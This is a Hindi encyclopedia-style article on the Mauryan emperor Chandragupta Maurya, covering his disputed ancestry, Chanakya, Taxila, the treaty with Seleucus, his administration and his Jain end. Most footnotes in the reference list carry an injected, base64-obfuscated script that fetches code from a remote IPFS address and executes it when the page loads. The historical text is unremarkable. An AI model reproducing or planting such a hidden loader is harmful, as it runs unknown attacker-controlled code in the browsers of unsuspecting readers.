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चंद्रगुप्त मौर्य

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चंद्रगुप्त मौर्य
Chandragupt-Maurya-Stamp.jpg
पूरा नाम चक्रवर्ती सम्राट चन्द्र गुप्त मौर्य
जन्म 340 ई. पू.
जन्म भूमि मगध, भारत
मृत्यु तिथि 298 ई पू (42 वर्ष में)
मृत्यु स्थान श्रवानाबेलागोला, कर्नाटक
पिता/माता "मुरा या मोरा" (माता)
संतान बिन्दुसार
उपाधि सम्राट
राज्य सीमा सम्पूर्ण भारत (लगभग)
शासन काल 322 से 298 ई. पू.
शा. अवधि 24 वर्ष (लगभग)
राज्याभिषेक 322 ई.पू.
धार्मिक मान्यता वैदिक और जैन
प्रसिद्धि भारत का प्रथम 'ऐतिहासिक सम्राट'
राजधानी पाटलिपुत्र
पूर्वाधिकारी धनानंद
वंश मौर्य वंश
संबंधित लेख चाणक्य . अशोक
'चन्द्रगुप्त' (सॅन्द्रोकिप्तॅश) यूनानी उच्चारण चित्र:Chandragupta-greek-1.ogg

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चक्रवर्ती सम्राट चन्द्र गुप्त मौर्य (शासनकाल: 322 से 298 ई. पू.तक) की गणना भारत के महानतम शासकों में की जाती है। उसकी महानता की सूचक अनेक उपाधियाँ हैं और उसकी महानता कई बातों में अद्वितीय भी है। वह भारत के प्रथम ‘ऐतिहासिक’ सम्राट के रूप में हमारे सामने आता है, इस अर्थ में कि वह भारतीय इतिहास का पहला सम्राट है जिसकी ऐतिहासिकता प्रमाणित कालक्रम के ठोस आधार पर सिद्ध की जा सकती है।[1]

मौर्यवंश का संस्थापक। उसके माता-पिता के नाम ठीक-ठीक ज्ञात नहीं हैं। पुराणों के अनुसार वह मगध के राजा नन्द का उपपुत्र था, जिसका जन्म मुरा नामक शूद्रा दासी से हुआ था। बौद्ध और जैन सूत्रों से पता चलता है। कि चन्द्रगुप्त मौर्य का जन्म पिप्पलिवन के मोरिय क्षत्रिय कुल में हुआ था। जो भी हो चन्द्रगुप्त प्रारंभ से ही बहुत साहसी व्यक्ति था।[2]

अपने समय का सबसे प्रतापी सम्राट चंद्रगुप्त मौर्य 325 ई. पू. में गद्दी पर बैठा। कुछ लोग इसे मुरा नाम की शूद्र स्त्री के गर्भ से उत्पन्न नंद सम्राट की संतान बताते हैं पर बौद्ध और जैन साहित्य के अनुसार यह मौर्य (मोरिय) कुल में जन्मा था और नंद राजाओं का महत्त्वाकांक्षी सेनापति था। चंद्रगुप्त के वंश और जाति के सम्बन्ध में विद्वान एकमत नहीं हैं। कुछ विद्वानों ने ब्राह्मण ग्रंथों, मुद्राराक्षस, विष्णुपुराण की मध्यकालीन टीका तथा 10वीं शताब्दी की धुण्डिराज द्वारा रचित मुद्राराक्षस की टीका के आधार पर चंद्रगुप्त को शूद्र माना है। चंद्रगुप्त के वंश के सम्बन्ध में ब्राह्मण, बौद्ध एवं जैन परम्पराओं व अनुश्रुतियों के आधार पर केवल इतना ही कहा जा सकता है कि वह किसी कुलीन घराने से सम्बन्धित नहीं था। विदेशी वृत्तांतों एवं उल्लेखों से भी स्थिति कुछ अस्पष्ट ही बनी रहती है।[3]

आरम्भिक जीवन

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चंद्रगुप्त के प्रारम्भिक जीवन के बारे में जानकारी हमें बौद्ध कथाओं से प्राप्त होती है। इन कथाओं का स्रोत मुख्यत: दो रचनाओं में मिलता है, जिनका उल्लेख हम ऊपर कर चुके हैं : (1)महावंस टीका, जिसे वंसत्थप्पकासिनी भी कहते हैं (जिसकी रचना लगभग 10वीं शताब्दी ईसवी के मध्य हुई थी) और (2) महाबोधिवंस, जिसके रचयिता उपतिस्स हैं (लगभग 10वीं शताब्दी ईसवी के उत्तरार्द्ध में)। इन दोनों ही ग्रन्थों का आधार, सीहलट्ठकथा तथा उत्तरविहारट्ठकथा नामक प्राचीन ग्रन्थ हैं। सीहलट्ठकथा के बारे में कहा जाता है कि उसकी रचना थेर महिंद (अशोक का पुत्र) तथा उनके साथ मगध से आए हुए अन्य भिक्षुओं ने की थी, जिन्हें संघ के प्रधान ने धर्मप्रचार के लिए लंका भेजा था।[4]

इन वृत्तांतों के अनुसार चंद्रगुप्त का जन्म मोरिय नामक क्षत्रिय जाति में हुआ था जिनका शाक्यों के साथ सम्बन्ध था। अपनी जन्मभूमि छोड़कर चली आने वाली मोरिय जाति का मुखिया चंद्रगुप्त का पिता था। दुर्भाग्यवश वह सीमांत पर एक झगड़े में मारा गया और उसका परिवार अनाथ रह गया। उसकी अबला विधवा अपने भाइयों के साथ भागकर पुष्यपुर (=कुसुमपुर =पाटलिपुत्र) नामक नगर में पहुँची, जहाँ उसने चंद्रगुप्त को जन्म दिया। सुरक्षा के विचार से इस अनाथ बालक को उसके मामाओं ने एक गोशाला में छोड़ दिया, जहाँ एक गड़रिए ने अपने पुत्र की तरह उसका लालन-पालन किया और जब वह बड़ा हुआ तो उसे एक शिकारी के हाथ बेच दिया, जिसने उसे गाय-भैंस चराने के काम पर लगा दिया। कहा जाता है कि एक साधारण ग्रामीण बालक चंद्रगुप्त ने राजकीलम नामक एक खेल का आविष्कार करके जन्मजात नेता होने का परिचय दिया। इस खेल में वह राजा बनता था और अपने साथियों को अपना अनुचर बनाता था। वह राजसभा भी आयोजित करता था जिसमें बैठकर वह न्याय करता था। गाँव के बच्चों की एक ऐसी ही राजसभा में चाणक्य ने पहली बार चंद्रगुप्त को देखा था।[5]

चंद्रगुप्त और चाणक्य की भेंट

चाणक्य ने अपनी दिव्यदृष्टि से तुरन्त इस ग्रामीण अनाथ बालक में राजत्व की प्रतिभा तथा चिह्न देखे और वहीं पर 1,000 कार्षापण देकर उसे उसके पालक-पिता से खरीद लिया। उस समय चंद्रगुप्त आठ या नौ वर्ष का बालक रहा होगा। चाणक्य जिसे तक्षशिला नामक नगर का निवासी (तक्कसिलानगर-वासी) बताया गया है, बालक को लेकर अपने नगर लौटा और 7 या 8 वर्ष तक उस प्रख्यात विद्यापीठ में उसे शिक्षा दिलाई, जहाँ जातककथाओं के अनुसार, उस समय की समस्त ‘विधाएँ तथा कलाएँ’ सिखाई जाती थीं। वहाँ चाणक्य ने उसे अप्राविधिक विषयों और व्यावहारिक तथा प्राविधिक कलाओं की भी सर्वांगीण शिक्षा दिलाई[6][7]

पालि स्रोतों से प्राप्त चंद्रगुप्त के प्रारम्भिक जीवन के इस विवरण से जस्टिन के इस कथन की भी पुष्टि होती है कि उसका जन्म एक मामूली घराने में हुआ था।[8]

चंद्रगुप्त की शिक्षा

जातककथाओं से हमें पता चलता है कि उस समय के राजा अपने राजकुमारों को विद्योपार्जन के लिए तक्षशिला भेजा करते थे, जहाँ विश्व-विख्यात अध्यापक थे। इन कथाओं में हम पढ़ते हैं : "सारे भारत से क्षत्रियों तथा ब्राह्मणों के पुत्र इन अध्यापकों से विभिन्न कलाएँ सीखने आते थे।" तक्षशिला प्राथमिक शिक्षा का ही नहीं, बल्कि उच्च शिक्षा का केन्द्र भी था। इस बात का उल्लेख मिलता है कि वहाँ बालकों को 16 वर्ष की अवस्था में अर्थात् ‘किशोरावस्था में प्रवेश करने पर’ भरती किया जाता था। इससे बड़ी अवस्था के छात्र अथवा गृहस्थ लोग भी यहाँ शिक्षा प्राप्त करते थे। वे अपने रहने आदि का प्रबंध स्वंय करते थे। हमें तक्षशिला के एक ऐसे अध्यापक का भी उल्लेख मिलता है, जिसकी पाठशाला में केवल राजकुमार ही पढ़ते थे, "उस समय भारत में इन राजकुमारों की संख्या 101 थी।" वहीं जिन विषयों की शिक्षा दी जाती थी, उनमें तीन वेदों तथा 18 ‘सिप्पों’ अर्थात् शिल्पों का उल्लेख मिलता है, जिनमें धनुर्विद्या (इस्सत्थ-सिप्प), आखेट तथा हाथियों से सम्बन्धित ज्ञान (हत्थिसुत्त) का उल्लेख किया गया है, जिन्हें राजकुमारों के लिए उपयुक्त समझा जाता था। सिद्धान्त तथा व्यवहार दोनों ही की शिक्षा दी जाती थी।

तक्षशिला अपनी विधिशास्त्र, चिकित्सा विज्ञान तथा सैन्यविद्या की अलग-अलग पाठशालाओं के लिए प्रख्यात था। तक्षशिला की सैनिक अकादमी का भी उल्लेख मिलता है, जिसमें 103 राजकुमार शिक्षा पाते थे। एक जगह पर यह विवरण मिलता है कि किस प्रकार एक शिष्य को सैन्यविद्या की शिक्षा समाप्त कर लेने के बाद उसके गुरु ने प्रमाणपत्र के रूप में स्वंय अपनी "तलवार, एक धनुष और बाण, एक कवच तथा एक हीरा" दिया और उससे कहा कि वह उसके स्थान पर सैन्यविद्या की शिक्षा प्राप्त करने वाले 500 शिष्यों की पाठशाला के प्रधान का पद ग्रहण करे, क्योंकि वह वृद्ध हो गया है और अवकाश ग्रहण करना चाहता है[9]। चाणक्य अपने अल्पवयस्क शिष्य की शिक्षा का इससे अच्छा कोई दूसरा प्रबंध नहीं कर सकता था कि उसे विद्योपार्जन के लिए तक्षशिला में भरती करा दे।


सिकंदर की मृत्यु के बाद उसकी सेनापति सेल्यूकस यूनानी साम्राज्य का शासक बना और उसने चंद्रगुप्त मौर्य पर आक्रमण कर दिया। पर उसे मुँह की खानी पड़ी। काबुल, हेरात, कंधार, और बलूचिस्तान के प्रदेश देने के साथ-साथ वह अपनी पुत्री हेलना का विवाह चंद्रगुप्त से करने के लिए बाध्य हुआ। इस पराजय के बाद अगले सौ वर्षो तक यूनानियों को भारत की ओर मुँह करने का साहस नहीं हुआ। चंद्रगुप्त मौर्य का शासन-प्रबंध बड़ा व्यवस्थित था। इसका परिचय यूनानी राजदूत मेगस्थनीज़ के विवरण और कौटिल्य के 'अर्थशास्त्र' से मिलता है। लगभग-300 ई. पू. में चंद्रगुप्त ने अपने पुत्र बिंदुसार को गद्दी सौंप दी।

धननंद द्वारा चाणक्य का अपमान

सिकंदर के भारत आक्रमण के समय चंद्रगुप्त मौर्य की उससे पंजाब में भेंट हुई थी। किसी कारणवश रुष्ट होकर सिकंदर ने चंद्रगुप्त को क़ैद कर लेने का आदेश दिया था। पर चंद्रगुप्त उसकी चंगुल से निकल आया। इसी समय इसका संपर्क कौटिल्य या चाणक्य से हुआ। चाणक्य नंद राजाओं से रुष्ट था। उसने नंद राजाओं को पराजित करके अपनी महत्त्वाकांक्षा पूर्ण करने में चंद्रगुप्त मौर्य की पूरी सहायता की।

चंद्रगुप्त के वंश के समान उसके आरम्भिक जीवन के पुनर्गठन का भी आधार किंवदंतियाँ एवं परम्पराएँ ही अधिक हैं और ठोस प्रमाण कम हैं। इस सम्बन्ध में चाणक्य चंद्रगुप्त कथा का सारांश उल्लेखनीय है। जिसके अनुसार नंद वंश द्वारा अपमानित किए जाने पर चाणक्य ने उसे समूल नष्ट करने का प्रण किया। चंद्रगुप्त ने मगध पर आक्रमण करके नंद वंश को समाप्त कर दिया और स्वयं सम्राट बन गया। इस बीच सिकंदर की मृत्यु हो गई और चंद्रगुप्त ने यूनानियों के अधिकार से पंजाब को मुक्त करा लिया। अपनी विशाल सेना लेकर वह उत्तर भारत, गुजरात और सौराष्ट्र तक फैलता गया।

कुछ भी हो इतना तो निश्चित है कि जिस समय चाणक्य पाटलिपुत्र आया था, उस समय धननंद वहाँ का राजा था। वह अपने धन के लोभ के लिए बदनाम था। वह ’80 करोड़ (कोटि) की सम्पत्ति’ का मालिक था और "खालों, गोंद, वृक्षों तथा पत्थरों तक पर कर वसूल" करता था। तिरस्कार में उसका नाम धननंद रख दिया गया था, क्योंकि वह ‘धन के भण्डार भरने का आदी’ था[10]। कथासरित्सागर में नंद की ’99 करोड़ स्वर्ण मुद्राओं’ का उल्लेख मिलता है। कहा जाता है कि उसने गंगा नदी की तली में एक चट्टान खुदवाकर उसमें अपना सारा खजाना गाड़ दिया था[11]। उसकी धन सम्पदा की ख्याति दक्षिण तक पहुँची। तमिल भाषा की एक कविता में उसकी सम्पदा का उल्लेख इस रूप में किया गया है कि "पहले वह पाटलि में संचित हुई और फिर गंगा की बाढ़ में छिप गई।"[12]। परन्तु चाणक्य ने उसे बिल्कुल ही दूसरे रूप में देखा। अब वह धन बटोरने के बजाए, उसे दान-पुण्य में व्यय कर रहा था; यह काम दानशाला नामक एक संस्था द्वारा संगठित किया जाता था। जिसकी व्यवस्था का संचालन एक संघ के हाथों में था, जिसका अध्यक्ष कोई ब्राह्मण होता था। नियम यह था कि अध्यक्ष एक करोड़ मुद्राओं तक का दान दे सकता था और संघ का सबसे छोटा सदस्य एक लाख मुद्राओं तक का। चाणक्य को इस संघ का अध्यक्ष चुना गया। परन्तु, होनी की बात, राजा को उसकी कुरूपता तथा उसका धृष्ट स्वभाव अच्छा न लगा और उसने उसे पदच्युत कर दिया। इस अपमान पर क्रुद्ध होकर चाणक्य ने राजा को शाप दिया, उसके वंश को निर्मूल कर देने की धमकी दी और एक नग्न आजीविक साधु के भेष में उसके चंगुल से बच निकला।[13]

लेखकों के वृत्तांत

मौर्य सम्राट चंद्रगुप्त को नंद वंश के उन्मूलन तथा पंजाब-सिंध में विदेशी शासन का अंत करने का ही श्रेय नहीं है वरन उसने भारत के अधिकांश भाग पर अपना आधिपत्य स्थापित किया।

  • प्लूटार्क ने लिखा है कि चंद्रगुप्त ने 6 लाख सेना लेकर समूचे भारत पर अपना आधिपत्य स्थापित किया।
  • जस्टिन के अनुसार सारा भारत उसके क़ब्ज़े में था।
  • महावंश में कहा गया है कि कौटिल्य ने चंद्रगुप्त को जंबूद्वीप का सम्राट बनाया।
  • प्लिनी ने, जिसका वृत्तान्त मैगस्थनीज़ की इंडिका पर आधारित है, लिखा है कि मगध की सीमा सिंधु नदी है। पश्चिम में सौराष्ट्र चंद्रगुप्त के अधिकार में था। इसकी पुष्टि शक महाक्षत्रप रुद्रदामन के जूनागढ़ अभिलेख से होती है।

अभिलेख

  • मैसूर से प्राप्त कुछ शिलालेखों के अनुसार उत्तरी मैसूर में चंद्रगुप्त का शासन था।
  • एक अभिलेख मिला है जिसके अनुसार शिकापुर ताल्लुके के नागरखंड की रक्षा मौर्यों की ज़िम्मेदारी थी। यह उल्लेख 14वीं शताब्दी का है।
  • अशोक के शिलालेखों से भी स्पष्ट है कि मैसूर मौर्य साम्राज्य का महत्त्वपूर्ण अंग था।
  • प्लूटार्क, जस्टिन, तमिल ग्रंथों तथा मैसूर के अभिलेखों के सम्मिलित प्रमाणों से स्पष्ट है कि प्रथम मौर्य सम्राट ने विध्य पार के काफ़ी भारतीय हिस्सों को अपने साम्राज्य में मिला लिया था।

राजनीतिक परिस्थितियाँ

चंद्रगुप्त मौर्य का सभा गृह
The court of Chandragupta Maurya

जिस समय चंद्रगुप्त मौर्य साम्राज्य के निर्माण में तत्पर था, सिकन्दर का सेनापति सेल्यूकस अपनी महानता की नींव डाल रहा था। सिकन्दर की मृत्यु के बाद उसके सेनानियों में यूनानी साम्राज्य की सत्ता के लिए संघर्ष हुआ, जिसके परिणामस्वरूप सेल्यूकस, पश्चिम एशिया में प्रभुत्व के मामले में, ऐन्टिगोनस का प्रतिद्वन्द्वी बना। ई. पू. 312 में उसने बेबिलोन पर अपना अधिकार स्थापित किया। इसके बाद उसने ईरान के विभिन्न राज्यों को जीतकर बैक्ट्रिया पर अधिकार किया। अपने पूर्वी अभियान के दौरान वह भारत की ओर बढ़ा। ई. पू. 305-4 में काबुल के मार्ग से होते हुए वह सिंधु नदी की ओर बढ़ा। उसने सिंधु नदी पार की और चंद्रगुप्त की सेना से उसका सामना हुआ। सेल्यूकस पंजाब और सिंधु पर अपना प्रभुत्व पुनः स्थापित करने के उद्देश्य से आया था। किन्तु इस समय की राजनीतिक स्थिति सिकन्दर के आक्रमण के समय से काफ़ी भिन्न थी। यूनानी लेखक स्त्रावो के अनुसार, चन्द्रगुप्त मौर्य के समय में अग्रोनोमोई नामक अधिकारी नदियों की देखभाल, भूमि की नापजोख, जलाशयों का निरीक्षण और नहरों की देखभाल करते थे, ताकि सभी लोगों को पानी ठीक से मिल सके।

पंजाब और सिंधु अब परस्पर युद्ध करने वाले छोटे-छोटे राज्यों में विभिक्त नहीं थे, बल्कि एक साम्राज्य का अंग थे। आश्चर्य की बात है कि यूनानी तथा रोमी लेखक, सेल्यूकस और चंद्रगुप्त के बीच हुए युद्ध का कोई विस्तृत ब्यौरा नहीं देते।

  • केवल एप्पियानस ने लिखा है कि "सेल्यूकस ने सिंधु नदी पार की और भारत के सम्राट चंद्रगुप्त से युद्ध छेड़ा। अंत में उनमें संधि हो गई और वैवाहिक सम्बन्ध स्थापित हो गया।"
  • जस्टिन के अनुसार चंद्रगुप्त से संधि करके और अपने पूर्वी राज्य को शान्त करके सेल्यूकस एण्टीगोनस से युद्ध करने चला गया। एप्पियानस के कथन से स्पष्ट है कि सेल्यूकस चंद्रगुप्त के विरुद्ध सफलता प्राप्त नहीं कर सका। अपने पूर्वी राज्य की सुरक्षा के लिए सेल्यूकस ने चंद्रगुप्त से संधि करना ही उचित समझा और उस संधि को उसने वैवाहिक सम्बन्ध से और अधिक पुष्ट कर लिया।

विवाह

  • स्ट्रैबो का कथन है कि सेल्यूकस ने ऐरियाना के प्रदेश, चंद्रगुप्त को विवाह-सम्बन्ध के फलस्वरूप दिए। इससे यह निष्कर्ष निकलता है कि यूनानी राजकुमारी मौर्य सम्राट को ब्याही गई और ये प्रदेश दहेज के रूप में दिए गए। इतिहासकारों का आमतौर पर यह मत है कि सेल्यूकस ने चंद्रगुप्त को चार प्रान्त -
  1. एरिया अर्थात काबुल,
  2. अराकोसिया अर्थात कंधार,
  3. जेड्रोसिया अर्थात मकरान और
  4. परीपेमिसदाई अर्थात हेरात प्रदेश दहेज में दिए।
  • अशोक के लेखों से सिद्ध होता है कि काबुल की घाटी मौर्य साम्राज्य के अंतर्गत थी। इन अभिलेखों के अनुसार योन, यवन गांधार भी मौर्य साम्राज्य के अंतर्गत थे।
  • प्लूटार्क के अनुसार चंद्रगुप्त ने सेल्यूकस को 500 हाथी उपहार में दिए। सम्भवतः इस संधि के परिणामस्वरूप ही हिन्दुकुश मौर्य साम्राज्य और सेल्यूकस के राज्य के बीच की सीमा बन गया। 2,000 से अधिक वर्ष पूर्व भारत के प्रथम सम्राट ने उस प्राकृतिक सीमा को प्राप्त किया जिसके लिए अंग्रेज़ तरसते रहे और जिसे मुग़ल सम्राट भी पूरी तरह प्राप्त करने में असमर्थ रहे। वैवाहिक सम्बन्ध से मौर्य सम्राटों और सेल्यूकस वंश के राजाओं के बीच मैत्रीपूर्ण सम्बन्ध का सूत्रपात हुआ। सेल्यूकस ने अपने राजदूत मेगस्थनीज़ को चंद्रगुप्त के दरबार में भेजा। ये मैत्री सम्बन्ध दोनों के उत्तराधिकारियों के बीच भी बने रहे।

योग्य शासक

चंद्रगुप्त एक कुशल योद्धा, सेनानायक तथा महान विजेता ही नहीं था, वरन एक योग्य शासक भी था। इतने बड़े साम्राज्य की शासन - व्यवस्था कोई सरल कार्य नहीं था। अतः अपने मुख्यमंत्री कौटिल्य की सहायता से उसने एक ऐसी शासन - व्यवस्था का निर्माण किया जो उस समय के अनुकूल थी। यह शासन व्यवस्था एक हद तक मगध के पूर्वगामी शासकों द्वारा विकसित शासनतंत्र पर आधारित थी किन्तु इसका अधिक श्रेय चंद्रगुप्त और कौटिल्य की सृजनात्मक क्षमता को ही दिया जाना चाहिए। कौटिल्य ने लिखा है कि उस समय शासन तंत्र पर जो भी ग्रंथ उपलब्ध थे और भिन्न-भिन्न राज्यों में शासन - प्रणालियाँ प्रचलित थीं उन सबका भली-भाँति अध्ययन करने के बाद उसने अपना प्रसिद्ध ग्रंथ "अर्थशास्त्र" लिखा। विद्वानों का विचार है कि मौर्य शासन व्यवस्था पर तत्कालीन यूनानी तथा आखमीनी शासन प्रणाली का भी कुछ प्रभाव पड़ा। चंद्रगुप्त ने ऐसी शासन व्यवस्था स्थापित की जिसे परवर्ती भारतीय शासकों ने भी अपनाया। *इस शासन की मुख्य विशेषताएँ थीं -

  1. सत्ता का अत्यधिक केन्द्रीकरण,
  2. विकसित आधिकारिक तंत्र,
  3. उचित न्याय व्यवस्था,
  4. नगर-शासन, कृषि, शिल्प उद्योग, संचार, वाणिज्य एवं व्यापार की वृद्धि के लिए राज्य के द्वारा अनेक कारगर उपाय।

चंद्रगुप्त के शासन प्रबन्ध का उद्देश्य लोकहित था। जहाँ एक ओर आर्थिक विकास एवं राज्य की समृद्धि के अनेक ठोस क़दम उठाए गए और शिल्पियों एवं व्यापारियों के जान - माल की सुरक्षा की गई, वहीं दूसरी ओर जनता को उनकी अनुचित तथा शोषणात्मक कार्य-विधियों से बचाने के लिए कठोर नियम भी बनाए गए। दासों और कर्मकारों को मालिकों के अत्याचार से बचाने के लिए विस्तृत नियम थे। अनाथ, दरिद्र, मृत सैनिकों तथा राजकर्मचारियों के परिवारों के भरण - पोषण का भार राज्य के ऊपर था। तत्कालीन मापदंड के अनुसार चंद्रगुप्त का शासन - प्रबन्ध एक कल्याणकारी राज्य की धारणा को चरितार्थ करता है। यह शासन निरकुंश था, दंड व्यवस्था कठोर थी और व्यक्ति की स्वतंत्रता का सर्वथा अभाव था, किन्तु यह सब नवज़ात साम्राज्य की सुरक्षा तथा प्रजा के हितों को ध्यान में रखकर किया गया था। चंद्रगुप्त की शासन व्यवस्था का चरम लक्ष्य अर्थशास्त्र के निम्न उद्धरण से व्यक्त होता है—

"प्रजा के सुख में ही राजा का सुख है और प्रजा की भलाई में उसकी भलाई। राजा को जो अच्छा लगे वह हितकर नहीं है, वरन हितकर वह है जो प्रजा को अच्छा लगे।"

उपर्युक्त उद्धरण से स्पष्ट है कि कौटिल्य ने राजा के समक्ष प्रजाहितैषी राजा का आदर्श रखा।

धार्मिक रुचि

चंद्रगुप्त धर्म में भी रुचि रखता था। यूनानी लेखकों के अनुसार जिन चार अवसरों पर राजा महल से बाहर जाता था, उनमें एक था यज्ञ करना। कौटिल्य उसका पुरोहित तथा मुख्यमंत्री था। हेमचंद्र ने भी लिखा है कि वह ब्राह्मणों का आदर करता है। मेगस्थनीज़ ने लिखा है कि चंद्रगुप्त वन में रहने वाले तपस्वियों से परामर्श करता था और उन्हें देवताओं की पूजा के लिए नियुक्त करता था। वर्ष में एक बार विद्वानों (ब्राह्मणों) की सभा बुलाई जाती थी ताकि वे जनहित के लिए उचित परामर्श दे सकें। दार्शनिकों से सम्पर्क रखना चंद्रगुप्त की जिज्ञासु प्रवृत्ति का सूचक है। जैन अनुयायियों के अनुसार जीवन के अन्तिम चरण में चंद्रगुप्त ने जैन धर्म स्वीकार कर लिया। कहा जाता है कि जब मगध में 12 वर्ष का दुर्भिक्ष पड़ा तो चंद्रगुप्त राज्य त्यागकर जैन आचार्य भद्रबाहु के साथ श्रवण बेल्गोला (मैसूर के निकट) चला गया और एक सच्चे जैन भिक्षु की भाँति उसने निराहार समाधिस्थ होकर प्राणत्याग किया (अर्थात केवल्य प्राप्त किया)। 900 ई. के बाद के अनेक अभिलेख भद्रबाहु और चंद्रगुप्त का एक साथ उल्लेख करते हैं।


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टीका टिप्पणी और संदर्भ

  1. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 13 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. भारतीय इतिहास कोश |लेखक: सच्चिदानंद भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 143-144 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. प्राचीन भारत का इतिहास |लेखक: द्विजेन्द्र नारायण झा, कृष्ण मोहन श्रीमाली |प्रकाशक: दिल्ली विश्वविद्यालय |पृष्ठ संख्या: 174 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 30 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 30 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  6. बहुसच्चाभावंच; उग्गहितसिप्पकंच
  7. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 30 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  8. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 32 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  9. विस्तृत विवरण के लिए राधाकुमुद मुखर्जी की "ऐन्शेंट इंडियन एजुकेशन", मैकमिलंस, लंदन, नामक रचना का 19वाँ अध्याय देखिए।
  10. महावंस टीका
  11. महावंस टीका
  12. ऐय्यंगर कृत-बिगिनिंग्स ऑफ़ साउथ इंडियन हिस्ट्री, पृष्ठ 89
  13. चंद्रगुप्त मौर्य और उसका काल |लेखक: राधाकुमुद मुखर्जी |प्रकाशक: राजकमल प्रकाशन |पृष्ठ संख्या: 36 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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